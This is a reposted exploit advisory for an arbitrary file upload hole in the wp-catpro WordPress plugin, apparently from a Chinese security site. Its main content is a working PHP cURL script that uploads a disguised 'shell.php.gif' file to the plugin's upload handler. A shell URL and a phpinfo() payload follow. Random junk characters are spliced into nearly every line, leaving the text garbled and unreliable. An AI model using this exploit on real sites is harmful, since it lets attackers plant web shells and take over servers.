Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability/ A: b' h; l, m7 s; }; s
#-----------------------------------------------------------------------& u: t: A( V& H2 g% \ h$ c0 z3 C- m
! ]. J5 w& v2 ]$ R) E8 B- T
作者 => Zikou-16' f6 U0 I5 N- h O/ y! ] g: J
邮箱 => zikou16x@gmail.com
! }1 x* {7 q5 W' t测试系统 : Windows 7 , Backtrack 5r3+ |0 a5 Q% B7 O; u3 U/ B
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip; s8 C# q, D; g" v; q$ d
####
5 A2 X7 {& F$ \- Q( H5 U) ?$ q$ I : ?8 Y! S1 [! {* \. u
#=> Exploit 信息:
* G2 k: e) b! |0 N5 y------------------8 I9 m9 Y2 V, p4 q4 R. k7 _
# 攻击者可以上传 file/shell.php.gif9 K' E. j9 d) x# z, |4 \
# ("jpg", "gif", "png") // Allowed file extensions
2 e1 C7 m6 F, s, }, Z0 f* P9 U# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment) w( y* ^- [+ `, ]
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
6 V7 S# q( z0 N; N: ?, r; f------------------8 s, U5 L* {: X
9 Z- j$ V. x7 P4 Y
#=> Exploit
0 c$ s6 m4 N4 s) B4 i-----------
, ~1 n# Q# @6 x' s9 t<?php
\3 z5 X, l3 r2 [: I n) M 8 @0 u: S4 {$ e
$uploadfile="zik.php.gif";
; i+ I7 Z6 z, ~$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");3 f0 H, @+ I/ m8 v
curl_setopt($ch, CURLOPT_POST, true);
3 ^5 Q% l( ?7 F. }6 k6 [curl_setopt($ch, CURLOPT_POSTFIELDS,
6 X6 P9 N& v* @( |5 e( E$ n( Sarray('Filedata'=>"@$uploadfile",
1 t0 D2 d. c( _'folder'=>'/wp-content/uploads/catpro/'));% U6 ~7 u( e& ?% u% _! N
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
0 }; v! `: f# |; e% f$postResult = curl_exec($ch);! l' R/ Q& [1 d7 V7 d
curl_close($ch);& T/ G4 O' e9 u4 ^3 f
' i' @4 [+ M5 @5 H! ?% [print "$postResult";
* l; }+ ], T: O) n/ T8 @) K
" |% p i3 O: y8 GShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif9 q) v& N: c0 U5 y1 f# R3 V# u
?>/ t; i8 `* i/ }+ L+ t1 d: V
<?php
! Q0 e u# b) }, h Wphpinfo();4 s `% D1 s+ k- _3 }6 @6 U
?> |